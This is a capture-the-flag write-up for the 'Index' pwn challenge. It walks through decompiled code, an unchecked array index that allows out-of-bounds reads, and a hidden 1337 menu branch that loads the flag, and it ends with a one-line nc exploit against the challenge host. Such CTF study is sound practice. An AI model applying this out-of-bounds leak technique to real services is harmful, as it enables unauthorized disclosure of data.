Hey exploiters — time for another deep dive. This write-up covers Index from ScriptCTF 2025 (Pwn), where a polite little menu hides a deterministic data-only leak. We’ll walk through the 0x539 “loader,” the PIE-stable offset into .bss, and how a single %s turns into a clean flag exfil—no ROP required.
1. First look: run it and poke around
I started by just running the binary to see how it behaves. It greets with a tiny menu, lists a few options, and waits for input. I tried the usual mix — valid choices like 1, 2, 3, 4, then some random numbers and junk strings—to get a feel for the flow and responses. Nothing flashy: it asks for an index when you pick “store” or “read,” and it has a playful “print flag” option that doesn’t actually hand over the goods.
With the surface behavior mapped at a high level, I moved on to static inspection — this time using Cutter (the radare2/rizin GUI) to get a cleaner view of functions, strings, and basic control flow before diving deeper
2. Cutter overview → decompiler (structure & logic)
Before digging into offsets, I opened the binary in Cutter to collect fundamentals and map the code shape. The dashboard gives us the quick facts:
- Format / Arch: ELF64, x86–64, little-endian
- Type: DYN (PIE-enabled shared object style)
- Mitigations: PIE = True, NX = True, Canary = True, RELRO = Full
- Linked libs: libc.so.6
- Stripped: False (nice — symbols are present)
On the left, Cutter lists tidy symbols: main, menu, store_data, read_data, print_flag, plus imports like fgets, fopen, getchar, printf, puts, strcmp, atoi, __isoc99_scanf, setbuf.
With auto-analysis on, the decompiler yields readable C.
main (menu loop + hidden path) function
undefined8 main(void)
{
int32_t iVar1;
int64_t in_FS_OFFSET;
uint32_t var_7ch;
char *str;
int64_t var_10h;
var_10h = *(int64_t *)(in_FS_OFFSET + 0x28);
init();
do {
while( true ) {
menu();
fgets(&str, 100, _stdin);
iVar1 = atoi(&str);
if (iVar1 < 5) break;
if (iVar1 == 0x539) {
_f = fopen("flag.txt", data.000020c6);
fgets(flag, 0x40, _f);
}
}
// switch table (5 cases) at 0x20d4
switch(iVar1) {
case 0:
printf("Invalid choice: %s", &str);
break;
case 1:
store_data();
break;
case 2:
read_data();
break;
case 3:
print_flag();
break;
case 4:
puts("Bye!");
if (var_10h == *(int64_t *)(in_FS_OFFSET + 0x28)) {
return 0;
}
// WARNING: Subroutine does not return
__stack_chk_fail();
}
} while( true );
}
- Reads a line with
fgets
, parses it withatoi
, dispatches a switch for 0..4. - Special case: if the parsed value is
0x539
(1337), it executes a hidden branch:
f = fopen("flag.txt", "r");
fgets(flag, 0x40, f); // loads flag into .bss
- Otherwise, it loops back to the menu.
menu function
void menu(void)
{
puts("1. Store data");
puts("2. Read data");
puts("3. Print flag");
puts("4. Exit");
return;
}
Just prints:
1. Store data
2. Read data
3. Print flag
4. Exit
store_data function
void store_data(void)
{
int64_t in_FS_OFFSET;
FILE *stream;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
printf("Index: ");
__isoc99_scanf(data.00002041, &stream);
getchar();
printf("Data: ");
fgets(nums + (int64_t)(int32_t)stream * 8, 8, _stdin);
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
- Prompts for Index: and reads into stream via scanf("%d", &stream). Despite the name/type, the decompiler then treats stream as a 32-bit integer: note the (int32_t)stream cast.
- Consumes the trailing newline with getchar().
- Prompts Data: and writes user input with fgets to:
nums + (int64_t)(int32_t)stream * 8
- The fgets(..., 8, ...) cap means up to 7 bytes + NUL are written. If the user types ≤6 chars plus \n, the newline is stored; longer input is truncated and NUL-terminated.
- There is no bounds check on stream → this is an OOB write primitive into whatever lies after/before nums in .bss. (We won’t need this for the clean solve, but it confirms the intended memory-arithmetic theme.)
read_data function
// WARNING: Variable defined which should be unmapped: var_ch
void read_data(void)
{
int64_t var_ch;
printf("Index: ");
__isoc99_scanf(data.00002041, &var_ch);
getchar();
printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
return;
}
- Prompts for Index: and reads into var_ch via scanf("%d", &var_ch).
- Although var_ch is int64_t, %d parses a 32-bit signed integer. The decompiler reflects this with the explicit truncation and sign-extension: (int64_t)(int32_t)var_ch.
- Consumes the trailing newline with getchar().
- The program then prints with:
printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
This treats nums + (int64_t)(int32_t)var_ch * 8 as a char * to a NUL-terminated string and feeds it to %s. The * 8 reveals an 8-byte stride over the global nums region.
- There is no bounds check on var_ch. Negative values are allowed (because of the (int32_t) cast) and will sign-extend back to 64-bit, so the pointer can move before nums as well as far after it—an out-of-bounds read in .bss/adjacent memory.
- Because the sink is %s, whatever lives at the computed address must be NUL-terminated to print cleanly. If it isn’t, you’ll get garbage or potentially a crash; if it is (e.g., another buffer filled by fgets), it will print exactly that string.
3. Symbols & layout — derive the exact index for %s
With the behavior in place, the next step is to line up globals in .bss so we can drive:
printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
to land exactly on flag.
From Cutter’s Symbols (or the “Functions/Variables” pane):
nums @ 0x00004060
flag @ 0x000040a0
Compute the delta:
&flag - &nums = 0x40a0 - 0x4060 = 0x40 bytes
The code multiplies the (32-bit) index by 8:
nums + (int64_t)(int32_t)var_ch * 8 == flag
→ (int64_t)(int32_t)var_ch * 8 == 0x40
→ (int32_t)var_ch == 0x40 / 8 == 8
So entering var_ch = 8
makes the %s pointer exactly equal flag.
Why this survives PIE/ASLR: both nums
and flag
are in the same module’s .bss
, so while the base slides, the difference &flag - &nums
stays constant. As long as the stride is 8, (int32_t)var_ch = 8
remains the correct choice.
4. Hidden branch in main — the 0x539 “loader” that primes flag
The interesting bit in main appears outside the standard switch (which only handles 0..4). After parsing the menu input with atoi, there’s a guard that checks for values ≥ 5 and then a special compare:
fgets(&str, 100, _stdin);
iVar1 = atoi(&str);
if (iVar1 < 5) {
// fall through to switch(iVar1) { 0..4 }
} else {
if (iVar1 == 0x539) {
_f = fopen("flag.txt", data.000020c6);
fgets(flag, 0x40, _f);
}
// loop continues; no switch dispatch when iVar1 >= 5
}
What this does :
- When input converts to 0x539 (decimal 1337), it executes a hidden path:
_f = fopen("flag.txt", data.000020c6);
fgets(flag, 0x40, _f);
data.000020c6
is the mode string (the decompiler lifted it as a data reference); effectively this is fopen("flag.txt", "r")
.
fgets(flag, 0x40, _f);
copies up to 0x3F bytes and appends a NUL, guaranteeing that flag is a valid C-string in .bss.
Why we need this before reading: Our print sink is the exact call:
printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
For (int32_t)var_ch == 8
we derived earlier, that pointer equals flag.
Calling the 0x539
branch first ensures flag holds a NUL-terminated string so %s prints cleanly. If you skip it, flag may be uninitialized/empty and the output will be useless.
Flow nuance: inputs ≥ 5 don’t enter the switch; the loop just continues after the hidden branch. So the full interaction is:
- Send 1337 → primes flag.
- Send 2 → enters read_data.
- Send 8 → nums + (int64_t)(int32_t)var_ch * 8 lands exactly on flag, and %s prints it.
Note: If flag.txt is not in the same directory and you input 1337, fopen returns NULL and the subsequent fgets(flag, 0x40, _f) will crash. Ensure flag.txt exists (remote services already have it).
5. Remote exploitation
Fire the hidden loader, then leak via the %s read with the exact index:
printf '1337\n2\n8\n' | nc <HOST> <PORT>
That’s it — 1337 primes flag, 2 invokes read_data, and 8 makes print the flag.